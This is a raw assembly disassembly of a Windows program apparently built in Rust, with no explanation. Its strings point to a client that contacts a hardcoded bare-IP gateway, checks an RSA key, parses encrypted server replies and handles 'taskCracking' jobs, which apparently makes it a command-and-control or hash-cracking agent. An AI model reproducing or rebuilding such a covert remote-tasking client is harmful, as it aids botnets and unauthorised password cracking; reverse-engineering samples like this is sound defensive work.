lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.14008854b
lea r8, [r15 + r15*2]
mov rcx, rax
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.14004fc03
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x310]
lea rdx, [rsp + 0xf40]
mov r8, rdi
mov r9, rbx
call fcn.140051163
cmp qword [rsp + 0x310], 0
je 0x140007667
add rsi, qword [rsp + 0x318]
jb 0x14000761b
cmp rsi, r13
jae 0x1400071a9
mov rdi, qword [rsp + 0xf68]
mov rax, qword [rsp + 0xf58]
or rax, rdi
jne 0x1400073be
mov rax, qword [rsp + 0xf80]
cmp rax, qword [rsp + 0xf78]
je 0x14000761b
mov byte [rsp + 0x16a], 0
and word [rsp + 0x168], 0
jmp 0x1400073d9
mov byte [rsp + 0x16a], 0
and word [rsp + 0x168], 0
cmp rdi, 4
jae 0x140007557
cmp qword [rsp + 0xf58], 0
mov rbx, qword [rsp + 0xf60]
je 0x14000755f
and dword [rsp + 0x1820], 0
lea rax, [rbx + 4]
cmp rdi, 5
lea rcx, str.invalid_type:___expected
cmovb rax, rcx
mov rcx, rdi
sub rcx, 4
mov r8d, 0
cmovae r8, rcx
push 4
pop rdx
cmovae rdi, rdx
mov qword [rsp + 0xf60], rax
mov qword [rsp + 0xf68], r8
lea rcx, [rsp + 0x1820]
mov r8, rdi
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.14004fc03
lea rcx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, rbx
mov r9, rdi
call fcn.1400c5168
lea rcx, [rsp + 0xf40]
call fcn.14005111a
cmp al, 2
jne 0x140007683
push 4
pop rbx
sub rbx, rdi
mov r15, qword [rsp + 0xf60]
mov rax, qword [rsp + 0xf68]
mov rcx, rax
sub rcx, rbx
mov edx, 0
cmovae rdx, rcx
lea rcx, [r15 + rbx]
lea r8, str.invalid_type:___expected
cmovbe rcx, r8
cmovb rbx, rax
mov qword [rsp + 0xf60], rcx
mov qword [rsp + 0xf68], rdx
lea rcx, [rsp + 0x1820]
mov rdx, rdi
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.1400510c3
mov rcx, rax
mov r8, rbx
lea r9, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.14004fc03
lea rcx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, r15
mov r9, rbx
call fcn.1400c5168
add rbx, rdi
jb 0x140007663
lea rcx, [rsp + 0x1820]
mov rdx, rbx
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
call fcn.1400510da
mov r9, rdx
lea rcx, [rsp + 0x168]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 3
lea rcx, [rsp + 0x310]
lea rdx, [rsp + 0xf40]
mov r8, rax
call fcn.140051163
jmp 0x1400075ca
mov rbx, qword [rsp + 0xf60]
lea rax, [rbx + 4]
cmp rdi, 5
lea rcx, str.invalid_type:___expected
cmovb rax, rcx
mov rcx, rdi
sub rcx, 4
mov edx, 0
cmovae rdx, rcx
push 4
pop rcx
cmovae rdi, rcx
mov qword [rsp + 0xf60], rax
mov qword [rsp + 0xf68], rdx
lea rax, [rsp + 0x168]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
lea rcx, [rsp + 0x310]
lea rdx, [rsp + 0xf40]
mov r8, rbx
mov r9, rdi
call fcn.140051163
mov r8, qword [rsp + 0x310]
test r8, r8
je 0x14000767a
mov rdx, qword [rsp + 0x318]
cmp rdx, 3
ja 0x140007663
and qword [rsp + 0xf80], 0
mov qword [rsp + 0xf78], rdx
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_base64ct_1.6.0_src_decoder.rs
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xf88]
mov r9, rdx
call fcn.1400c5168
jmp 0x1400071a9
push 1
pop rcx
jmp 0x14000768b
mov rax, qword [rsp + 0xf70]
push 1
pop rcx
sub rax, r13
jb 0x14000768b
mov qword [rsp + 0xf70], rax
mov rcx, r13
test r14, r14
je 0x14000768b
mov rdi, qword [rsp + 0x1350]
mov r13, qword [rsp + 0x1340]
mov r14, qword [rsp + 0x1348]
jmp 0x1400076d9
push 1
pop rdi
movzx ecx, dil
jmp 0x14000768b
mov al, 1
jmp 0x140007688
movzx ecx, byte [rsp + 0x318]
jmp 0x14000768b
xor ecx, ecx
test al, al
setne cl
jmp 0x14000768b
mov al, byte [rsp + 0x318]
jmp 0x140007688
test al, al
setne al
movzx ecx, al
mov r13, qword [rsp + 0x1340]
mov r14, qword [rsp + 0x1348]
mov byte [rsp + 0x401], cl
mov byte [rsp + 0x400], 0
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x400]
call fcn.14005054e
mov sil, byte [rsp + 0x980]
cmp sil, 0xa
jne 0x14000ce2d
mov rdi, qword [rsp + 0x1350]
lea rsi, [rsp + 0x400]
mov rcx, rsi
mov rdx, r13
mov r8, rdi
call fcn.14002b20f
mov ebx, dword [rsp + 0x400]
cmp ebx, 2
mov qword [rsp + 0x100], r14
jne 0x14000cc39
movups xmm0, xmmword [rsp + 0x408]
mov rax, qword [rsp + 0x418]
mov rcx, qword [rsp + 0x420]
movups xmmword [rsp + 0x1340], xmm0
mov qword [rsp + 0x1350], rax
mov qword [rsp + 0x1358], rcx
mov rdx, rcx
shr rdx, 0x20
mov qword [rsp + 0xf50], rax
movdqu xmm0, xmmword [rsp + 0x1340]
movdqa xmmword [rsp + 0xf40], xmm0
mov byte [rsp + 0xf5c], dl
mov dword [rsp + 0xf58], ecx
mov rcx, rsi
lea rdx, [rsp + 0xf40]
call fcn.14002be54
mov ebx, dword [rsp + 0x400]
mov rsi, qword [rsp + 0x404]
cmp ebx, 2
jne 0x14000cc94
mov rdx, rsi
shr rdx, 0x20
lea rcx, [rsp + 0x400]
push 9
pop r8
call fcn.14002ba6b
mov ebx, dword [rsp + 0x400]
cmp ebx, 2
jne 0x14000ccc8
push 1
pop rax
mov r14d, eax
cmp esi, 0x80
jb 0x140007800
push 2
pop rax
mov r14d, eax
cmp esi, 0x100
jb 0x140007800
push 3
pop rax
mov r14d, eax
cmp esi, 0x10000
jb 0x140007800
push 4
pop rax
mov r14d, eax
cmp esi, 0x1000000
jb 0x140007800
push 5
pop rax
mov r14d, eax
cmp esi, 0xfffffff
ja 0x14000cfed
lea r8d, [r14 + 1]
add r8d, esi
jb 0x14000cd08
cmp r8d, 0x10000000
jae 0x14000cd10
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x1340]
mov dword [rsp + 0x30c], r8d
call fcn.14002b250
mov ebx, dword [rsp + 0x980]
cmp ebx, 2
jne 0x14000cd28
mov eax, dword [rsp + 0x1358]
cmp byte [rsp + 0x135c], 0
jne 0x14000cd80
mov qword [rsp + 0x2d8], r14
mov qword [rsp + 0x150], rdi
mov r14d, dword [rsp + 0x1350]
cmp r14d, eax
ja 0x14000cd8d
mov r14, qword [rsp + 0x150]
mov rax, r14
shr rax, 0x20
jne 0x14000cdae
cmp r14d, 0x10000000
jae 0x14000cddc
lea rcx, str.RSA_PUBLIC_KEY
push 0xe
pop rdx
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0xe8]
call fcn.14005fba7
test al, al
je 0x14000cdb7
cmp r14, 0x10000000
mov qword [rsp + 0xa0], r13
jae 0x140007a45
mov eax, r14d
mov qword [rsp + 0x400], r13
mov qword [rsp + 0x408], r14
mov qword [rsp + 0x410], rax
shl rax, 3
mov qword [rsp + 0xf30], rax
mov qword [rsp + 0x418], rax
and qword [rsp + 0x420], 0
push 9
pop rcx
lea rdi, [rsp + 0x428]
lea rsi, [0x140157998]
rep movsq qword [rdi], qword [rsi]
lea rcx, [rsp + 0x429]
lea rdx, [0x14015e431]
push 0x27
pop r8
call sub.msvcrt.dll_memcmp
push 5
pop rbx
test eax, eax
jne 0x140007a8e
lea rcx, str.invalid_type:___expected
xor edx, edx
mov r8, rcx
xor r9d, r9d
call fcn.14005fba7
push 4
pop rbx
test al, al
je 0x140007a8e
lea rsi, [rsp + 0x980]
mov rcx, rsi
mov rdx, r13
mov r8, r14
call fcn.14002b20f
mov ebx, dword [rsp + 0x980]
cmp ebx, 2
jne 0x1400082d0
movdqu xmm0, xmmword [rsp + 0x988]
movups xmm1, xmmword [rsp + 0x998]
movdqu xmmword [rsp + 0x1340], xmm0
movups xmmword [rsp + 0x1350], xmm1
mov rcx, rsi
lea rdx, [rsp + 0x1340]
call fcn.14002be54
mov ebx, dword [rsp + 0x980]
cmp ebx, 2
jne 0x14000830c
mov rsi, qword [rsp + 0x984]
mov rdx, rsi
shr rdx, 0x20
lea rcx, [rsp + 0x980]
push 9
pop r8
call fcn.14002ba6b
mov ebx, dword [rsp + 0x980]
cmp ebx, 2
jne 0x140008348
mov r8d, dword [rsp + 0x1350]
mov eax, dword [rsp + 0x1358]
sub r8d, eax
mov ecx, 0
cmovb r8d, ecx
cmp r8d, esi
jae 0x140008384
mov edx, eax
add edx, esi
mov r9, qword [rsp + 0xf10]
mov r10d, dword [rsp + 0x204]
jae 0x1400084d8
mov r11d, edx
jmp 0x1400084fd
movabs rax, 0xffffffff00000000
mov rdi, qword [rsp + 0xf38]
and rdi, rax
or rdi, 0x206
xor eax, eax
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xf30]
mov qword [rsp + 0x50], rax
xor r13d, r13d
mov qword [rsp + 0xf38], rdi
mov qword [rsp + 0x40], rax
xor ebx, ebx
push 4
jmp 0x140007afb
mov edx, 0x48862a09
xor edi, edi
xor esi, esi
xor r13d, r13d
xor r14d, r14d
movabs r8, 0x101010df786
mov qword [rsp + 0x908], rdi
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0x900], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x910], r13
mov qword [rsp + 0x918], rcx
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x920], r14
mov qword [rsp + 0x928], r8
mov rdi, r8
mov qword [rsp + 0x2d0], rdx
mov qword [rsp + 0x40], rdx
push 3
pop r15
push 2
pop rsi
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x100]
call fcn.1400f09e1
cmp esi, 2
je 0x14000ce11
mov qword [rsp + 0x17c0], rsi
mov qword [rsp + 0x17c8], r15
mov dword [rsp + 0x17d0], ebx
mov rax, qword [rsp + 0x40]
mov dword [rsp + 0x17d4], eax
mov qword [rsp + 0x17d8], rdi
mov qword [rsp + 0x17e0], r14
mov qword [rsp + 0x17e8], r13
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x17f0], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x17f8], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1800], rax
mov rax, qword [rsp + 0x990]
lea rcx, [rsp + 0x1808]
mov qword [rcx + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x980]
movdqu xmmword [rcx], xmm0
mov r15, qword [rsp + 0x148]
mov qword [rsp + 0x20], r15
lea rdi, [rsp + 0x400]
mov rcx, rdi
lea rdx, [rsp + 0x17c0]
mov r8, qword [rsp + 0x1f0]
mov r9, qword [rsp + 0x158]
call fcn.1400426c0
lea rcx, [rsp + 0x980]
mov rdx, rdi
lea r8, [0x14012a100]
call fcn.140001eb0
lea rcx, [rsp + 0x938]
lea rdx, [rsp + 0x980]
call fcn.14000335b
mov rcx, rdi
call fcn.1400de2b7
mov r14, qword [rsp + 0x150]
mov rsi, qword [rsp + 0x938]
mov r9, qword [rsp + 0x948]
lea rcx, [rsp + 0x980]
mov rdx, rdi
mov r8, rsi
call fcn.1400d46c3
cmp dword [rsp + 0x980], 3
jne 0x140007ec4
lea rdi, [rsp + 0xf40]
mov rcx, rdi
lea rdx, str.http:__109.107.189.154:80_gatewayOutput_submitted_successfully:
push 0x21
pop r8
call fcn.1400456ae
lea rax, str.Connection_established_with
mov qword [rsp + 0x400], rax
push 1
pop rax
mov qword [rsp + 0x408], rax
and qword [rsp + 0x420], 0
mov qword [rsp + 0x310], rdi
lea rcx, [0x1400180f4]
mov qword [rsp + 0x318], rcx
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x410], rcx
mov qword [rsp + 0x418], rax
lea rcx, [rsp + 0x1340]
lea rdx, [rsp + 0x400]
call fcn.140002919
mov rcx, qword [rsp + 0xf40]
mov rdx, qword [rsp + 0xf48]
call fcn.1400f09e1
mov rbx, qword [rsp + 0x1340]
mov rdi, qword [rsp + 0x1348]
mov r9, qword [rsp + 0x1350]
lea rcx, [0x1401295e2]
push 7
pop rdx
mov r8, rbx
call fcn.14000f1e4
mov rcx, rbx
mov rdx, rdi
call fcn.1400f09e1
lea rdi, [rsp + 0x400]
mov rcx, rdi
lea rdx, [rsp + 0x988]
call fcn.1400ca0c3
lea rcx, [rsp + 0x838]
mov rdx, rdi
lea r8, [0x14012a148]
call fcn.140001e45
mov rdx, qword [rsp + 0x838]
mov r8, qword [rsp + 0x848]
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x1340]
mov r9, qword [rsp + 0x158]
call fcn.14000eb09
cmp qword [rsp + 0x1340], 0
je 0x140007f90
mov r8, qword [rsp + 0x1350]
mov qword [rsp + 0x830], r8
movdqu xmm0, xmmword [rsp + 0x1340]
movdqa xmmword [rsp + 0x820], xmm0
mov rdx, qword [rsp + 0x820]
lea rcx, [rsp + 0xf40]
call fcn.140039f2b
cmp byte [rsp + 0xf40], 6
jne 0x140008071
mov rax, qword [rsp + 0xf48]
mov qword [rsp + 0x168], rax
lea rax, [rsp + 0x820]
mov qword [rsp + 0x1820], rax
lea rax, [rsp + 0x168]
mov qword [rsp + 0x310], rax
lea rax, [rsp + 0x1820]
mov qword [rsp + 0x980], rax
lea rax, [0x140068f18]
mov qword [rsp + 0x988], rax
lea rax, str.Couldnt_convert_server_raw_json_into_parsed_json._Json:___Error:
mov qword [rsp + 0x400], rax
push 2
pop rcx
mov qword [rsp + 0x408], rcx
and qword [rsp + 0x420], 0
lea rax, [rsp + 0x310]
mov qword [rsp + 0x990], rax
lea rax, [0x1400453e4]
mov qword [rsp + 0x998], rax
lea rax, [rsp + 0x980]
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], rcx
lea rcx, [rsp + 0x1340]
lea rdx, [rsp + 0x400]
call fcn.140002919
mov rbx, qword [rsp + 0x1340]
mov rdi, qword [rsp + 0x1348]
mov r9, qword [rsp + 0x1350]
lea rcx, str.error
push 5
pop rdx
mov r8, rbx
call fcn.14000f1e4
mov rcx, rbx
mov rdx, rdi
call fcn.1400f09e1
lea rcx, [rsp + 0x168]
call fcn.140001819
jmp 0x140009e9c
mov r8d, 0x110
lea rdi, [rsp + 0x400]
mov rcx, rdi
lea rdx, [rsp + 0x980]
call sub.msvcrt.dll_memcpy
lea rax, str.Unable_to_initialize_handshake_with_server._Error:
mov qword [rsp + 0xf40], rax
push 1
pop rax
mov qword [rsp + 0xf48], rax
and qword [rsp + 0xf60], 0
mov qword [rsp + 0x310], rdi
lea rcx, [0x140002272]
mov qword [rsp + 0x318], rcx
lea rcx, [rsp + 0x310]
mov qword [rsp + 0xf50], rcx
mov qword [rsp + 0xf58], rax
lea rcx, [rsp + 0x1340]
lea rdx, [rsp + 0xf40]
call fcn.140002919
mov rbx, qword [rsp + 0x1340]
mov rdi, qword [rsp + 0x1348]
mov r9, qword [rsp + 0x1350]
lea rcx, str.error
push 5
pop rdx
mov r8, rbx
call fcn.14000f1e4
mov rcx, rbx
mov rdx, rdi
call fcn.1400f09e1
lea rcx, [rsp + 0x400]
call fcn.14000170a
jmp 0x140009ec6
mov al, byte [rsp + 0x1348]
mov byte [rsp + 0x1820], al
lea rax, [rsp + 0x838]
mov qword [rsp + 0x310], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x980], rax
lea rax, [0x14002ed10]
mov qword [rsp + 0x988], rax
lea rax, str.Server_response_not_encrypted_properly._Response:
mov qword [rsp + 0x400], rax
push 2
pop rcx
mov qword [rsp + 0x408], rcx
and qword [rsp + 0x420], 0
lea rax, [rsp + 0x1820]
mov qword [rsp + 0x990], rax
lea rax, [0x140003447]
mov qword [rsp + 0x998], rax
lea rax, [rsp + 0x980]
mov qword [rsp + 0x410], rax
mov qword [rsp + 0x418], rcx
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x400]
call fcn.140002919
mov rbx, qword [rsp + 0xf40]
mov rdi, qword [rsp + 0xf48]
mov r9, qword [rsp + 0xf50]
lea rcx, str.error
push 5
pop rdx
mov r8, rbx
call fcn.14000f1e4
mov rcx, rbx
mov rdx, rdi
jmp 0x140009eac
movdqu xmm0, xmmword [rsp + 0xf40]
movups xmm1, xmmword [rsp + 0xf50]
movaps xmmword [rsp + 0xde0], xmm1
movdqa xmmword [rsp + 0xdd0], xmm0
lea rcx, [rsp + 0xdd0]
lea rdx, str.hashseedto
push 4
pop r8
call fcn.140045294
mov qword [rsp + 0x1340], rax
lea rax, [0x14012a170]
mov qword [rsp + 0x400], rax
push 1
pop rax
mov qword [rsp + 0x408], rax
and qword [rsp + 0x420], 0
lea rcx, [rsp + 0x1340]
mov qword [rsp + 0xf40], rcx
lea rcx, [0x1400453f4]
mov qword [rsp + 0xf48], rcx
lea rcx, [rsp + 0xf40]
mov qword [rsp + 0x410], rcx
mov qword [rsp + 0x418], rax
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x400]
call fcn.140002919
mov rdi, qword [rsp + 0x980]
mov rsi, qword [rsp + 0x988]
mov r9, qword [rsp + 0x990]
lea rcx, str.taskCracking
push 4
pop rdx
mov r8, rdi
call fcn.14000f1e4
mov rcx, rdi
mov rdx, rsi
call fcn.1400f09e1
call fcn.14000e3a0
mov rbx, rax
lea rcx, [rsp + 0x400]
lea rdx, [rsp + 0xdd0]
lea r8, [0x14012a184]
push 4
pop r9
call fcn.14000f57f
mov rsi, qword [rsp + 0x400]
mov r9, qword [rsp + 0x410]
lea rdi, [rsp + 0x980]
mov rcx, rdi
lea rdx, [0x140181bb8]
mov r8, rsi
call fcn.1400410a0
mov rdx, qword [rsp + 0x408]
mov rcx, rsi
call fcn.1400f09e1
lea rcx, [rsp + 0x950]
mov rdx, rdi
lea r8, [0x14012a188]
call fcn.140001c96
lea rcx, [rsp + 0x968]
lea rdx, [rsp + 0xdd0]
lea r8, str.hashseedto
push 4
pop r9
call fcn.14000f57f
mov rsi, qword [rsp + 0x950]
mov rdi, qword [rsp + 0x960]
call fcn.1400c4bb0
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0xe8], r12
test rax, rax
mov r10, qword [rsp + 0x58]
je 0x14000cf50
lea rcx, [rsi + rdi]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea r9, [rdx + 1]
mov qword [rax], r9
movups xmm0, xmmword [0x140183c40]
lea rax, [rsp + 0x1b8]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x140183c30]
movdqu xmmword [rax], xmm0
and qword [rsp + 0x168], 0
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x190], 8
lea rax, [rsp + 0x190]
movdqu xmmword [rax + 8], xmm6
mov qword [rsp + 0x1a8], rsi
mov qword [rsp + 0x1b0], rcx
mov qword [rsp + 0x1d8], rdx
mov qword [rsp + 0x1e0], r8
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x168]
lea rcx, [0x140123210]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], r10
jmp rax
mov eax, dword [rsp + 0x984]
mov r8, qword [rsp + 0x988]
mov r14, qword [rsp + 0x990]
mov r15, qword [rsp + 0x998]
mov rsi, qword [rsp + 0x9a0]
mov rdi, qword [rsp + 0x9a8]
mov rcx, qword [rsp + 0x9b0]
jmp 0x1400084ce
mov eax, dword [rsp + 0x984]
mov r14, qword [rsp + 0x990]
mov r15, qword [rsp + 0x998]
mov rsi, qword [rsp + 0x9a0]
mov rdi, qword [rsp + 0x9a8]
mov rcx, qword [rsp + 0x9b0]
mov r8, qword [rsp + 0x988]
jmp 0x1400084c5
mov r8, qword [rsp + 0x988]
mov r14, qword [rsp + 0x990]
mov r15, qword [rsp + 0x998]
mov rsi, qword [rsp + 0x9a0]
mov rdi, qword [rsp + 0x9a8]
mov rcx, qword [rsp + 0x9b0]
mov eax, dword [rsp + 0x984]
jmp 0x1400084c5
mov eax, esi
lea rcx, [rsp + 0x1340]
mov qword [rsp + 0x310], rcx
mov qword [rsp + 0x318], rax
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x310]
call fcn.140051f00
mov ebx, dword [rsp + 0x980]
cmp ebx, 2
jne 0x14000848e
mov r14, qword [rsp + 0x988]
mov rsi, qword [rsp + 0x990]
mov r15, qword [rsp + 0x998]
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x310]
call fcn.140051f00
mov ebx, dword [rsp + 0x980]
cmp ebx, 2
jne 0x14000848e
mov r8, rsi
mov rsi, qword [rsp + 0x988]
mov rdi, qword [rsp + 0x990]
mov rcx, qword [rsp + 0x998]
mov edx, dword [rsp + 0x318]
mov eax, dword [rsp + 0x31c]
sub edx, eax
jbe 0x1400085d3
mov r8d, 0
cmovb edx, r8d
mov r8, rax
shl r8, 0x20
mov r11, qword [rsp + 0xec0]
and r11d, 0xffffff00
movabs r9, 0xffffffff00000000
mov r14, qword [rsp + 0xec8]
and r14, r9
or r14, rdx
add r8, r11
add r8, 0x15
push 1
pop rbx
mov qword [rsp + 0xec8], r14
mov edx, eax
mov dword [rsp + 0xac], eax
mov qword [rsp + 0xec0], r8
jmp 0x1400084ce
mov eax, dword [rsp + 0x984]
mov r8, qword [rsp + 0x988]
mov r14, qword [rsp + 0x990]
mov r15, qword [rsp + 0x998]
mov rsi, qword [rsp + 0x9a0]
mov rdi, qword [rsp + 0x9a8]
mov rcx, qword [rsp + 0x9b0]
mov edx, eax
mov dword [rsp + 0xac], eax
mov edx, eax
mov r13, r15
jmp 0x140007aa7
cmp edx, 0xfffffff
mov r11d, dword [rsp + 0x308]
ja 0x1400084fd
add r8d, eax
jae 0x140008539
mov r10d, r8d
mov r9, qword [rsp + 0x8b0]
jmp 0x1400085a8
and r9, 0xffffffffffffff00
or r9, 0xc
xor ecx, ecx
mov eax, r11d
mov qword [rsp + 0xf10], r9
mov r8, r9
xor r9d, r9d
mov edx, r11d
xor ebx, ebx
mov r14d, ecx
or r14, r9
mov r9d, eax
mov dword [rsp + 0xac], eax
mov dword [rsp + 0x308], edx
jmp 0x1400084ce
cmp r8d, 0x10000000
mov r9, qword [rsp + 0x8b0]
jae 0x1400085a8
mov r9, rdx
shl r9, 0x20
mov rsi, qword [rsp + 0xea0]
and esi, 0xffffff00
mov ecx, r8d
movabs r10, 0xffffffff00000000
mov r11, qword [rsp + 0xea8]
and r11, r10
or rcx, r11
lea r10, [rsi + r9]
add r10, 3
mov r9, r11
mov qword [rsp + 0xea0], r10
mov qword [rsp + 0xea8], rcx
mov dword [rsp + 0x204], r8d
mov r8, r10
push 1
pop rbx
jmp 0x140008520
and r9, 0xffffffffffffff00
or r9, 0xc
xor ecx, ecx
mov dword [rsp + 0x204], r10d
mov eax, r10d
mov qword [rsp + 0x8b0], r9
mov r8, r9
xor r9d, r9d
jmp 0x14000851e
mov eax, dword [rsp + 0x1358]
cmp byte [rsp + 0x135c], 0
movabs r9, 0xffffffff00000000
je 0x14000860e
mov rdx, qword [rsp + 0xeb0]
and rdx, 0xffffffffffffff00
or rdx, 1
mov qword [rsp + 0xeb0], rdx
mov r8, rdx
jmp 0x14000865e
mov edx, dword [rsp + 0x1350]
sub edx, eax
jbe 0x140008668
mov r8d, 0
cmovb edx, r8d
mov r8, rax
shl r8, 0x20
mov r11, qword [rsp + 0xe90]
and r11d, 0xffffff00
mov r14, qword [rsp + 0xe98]
and r14, r9
or r14, rdx
add r8, r11
add r8, 0x15
mov qword [rsp + 0xe98], r14
mov qword [rsp + 0xe90], r8
mov edx, eax
push 1
pop rbx
jmp 0x1400084d0
lea rcx, [rsp + 0x1340]
mov rdx, r14
call fcn.140061395
lea rcx, [rsp + 0xf40]
mov rdx, rsi
mov r8, rdi
call fcn.140061395
movups xmm0, xmmword [rsp + 0x1340]
movups xmm1, xmmword [rsp + 0x1350]
movups xmm2, xmmword [rsp + 0x1360]
movaps xmmword [rsp + 0x9a0], xmm2
movaps xmmword [rsp + 0x990], xmm1
movaps xmmword [rsp + 0x980], xmm0
movdqu xmm0, xmmword [rsp + 0xf40]
movups xmm1, xmmword [rsp + 0xf50]
movups xmm2, xmmword [rsp + 0xf60]
lea rax, [rsp + 0x9b0]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea rcx, [rsp + 0x980]
call fcn.140061342
cmp rax, 0x1000
ja 0x1400088f5
mov rdi, qword [rsp + 0x9d8]
lea rcx, [rsp + 0x9b8]
mov rax, rdi
cmp rdi, 5
jb 0x14000872a
mov rax, qword [rsp + 0x9b8]
mov rcx, qword [rsp + 0x9c0]
mov r9, qword [rsp + 0x9b0]
shl rax, 3
xor edx, edx
xor r8d, r8d
xor ebx, ebx
cmp rax, rdx
je 0x140008755
test r8b, 1
jne 0x140008755
add rbx, qword [rcx + rdx]
add rdx, 8
mov r8b, 1
jmp 0x14000873d
cmp rax, rdx
jne 0x1400088f5
mov qword [rsp + 0x50], r9
lea rcx, [rsp + 0x9b8]
mov rdx, rdi
cmp rdi, 5
jb 0x140008784
mov rdx, qword [rsp + 0x9b8]
mov rcx, qword [rsp + 0x9c0]
mov r14, qword [rsp + 0x9a8]
lea r8, [rsp + 0x988]
mov r9, r14
cmp r14, 5
jb 0x1400087ad
mov r9, qword [rsp + 0x988]
mov r8, qword [rsp + 0x990]
mov rsi, qword [rsp + 0x980]
call fcn.14004d179
cmp al, 2
mov r9, qword [rsp + 0x50]
jb 0x1400088f5
lea rax, [rsp + 0x988]
mov rcx, r14
cmp r14, 5
jb 0x1400087e8
mov rcx, qword [rsp + 0x988]
mov rax, qword [rsp + 0x990]
test rcx, rcx
je 0x1400088f5
test byte [rax], 1
je 0x1400088f5
lea rax, [rsp + 0x9b8]
cmp rdi, 5
jb 0x140008818
mov rdi, qword [rsp + 0x9b8]
mov rax, qword [rsp + 0x9c0]
test rdi, rdi
je 0x1400088f5
test byte [rax], 1
je 0x1400088f5
cmp rbx, 2
jb 0x1400088f5
shr rbx, 0x21
jne 0x1400088f5
mov r15, qword [rsp + 0x988]
mov rcx, qword [rsp + 0x990]
mov rdi, qword [rsp + 0x998]
mov r10, r14
mov r14, qword [rsp + 0x9a0]
mov r8, qword [rsp + 0x9b8]
mov rax, qword [rsp + 0x9c0]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x988]
movdqu xmm0, xmmword [rax + 0x40]
mov rax, qword [rax + 0x50]
mov rdx, r15
shr rdx, 0x20
mov qword [rsp + 0x2d0], rdx
mov qword [rsp + 0x990], rax
movdqa xmmword [rsp + 0x980], xmm0
mov rax, rcx
shr rax, 0x20
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x908], r9
mov r13, r10
mov qword [rsp + 0x900], r10
mov qword [rsp + 0x918], r8
mov qword [rsp + 0xe8], r8
mov qword [rsp + 0x910], r14
mov qword [rsp + 0x920], rdi
mov qword [rsp + 0x928], rcx
mov ebx, ecx
jmp 0x140007b00
lea rcx, [rsp + 0x980]
call fcn.140049d2e
lea rcx, [rsp + 0x9b0]
call fcn.140049d2e
push 4
pop rbx
mov r8, qword [rsp + 0x928]
mov r14, qword [rsp + 0x920]
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x918]
mov r13, qword [rsp + 0x910]
mov rdi, qword [rsp + 0x908]
mov rsi, qword [rsp + 0x900]
jmp 0x140007aa7
mov rsi, qword [rsp + 0x1a8]
test rsi, rsi
je 0x140008ad5
cmp rsi, qword [rsp + 0x1b0]
je 0x140008ad5
lea rax, [rsi + 1]
mov qword [rsp + 0x1a8], rax
mov rdx, qword [rsp + 0x1a0]
cmp rdx, qword [rsp + 0x198]
jne 0x1400089a1
lea rcx, [rsp + 0x190]
call fcn.140042526
mov rdx, qword [rsp + 0x1a0]
mov rax, qword [rsp + 0x190]
mov qword [rax + rdx*8], rsi
inc rdx
mov qword [rsp + 0x1a0], rdx
mov r14, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x178]
dec r14
push 1
pop rax
mov qword [rsp + 0x980], rax
and qword [rsp + 0x988], 0
mov qword [rsp + 0x990], r14
mov qword [rsp + 0x998], rax
mov qword [rsp + 0x9a0], rdi
lea rax, [rsp + 0x310]
mov qword [rsp + 0x9a8], rax
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x980]
call fcn.140038e09
cmp qword [rsp + 0xf48], 0
je 0x14000ced2
mov rcx, qword [rsp + 0xf50]
call fcn.140042429
mov rsi, rax
mov qword [rsp + 0x1340], rax
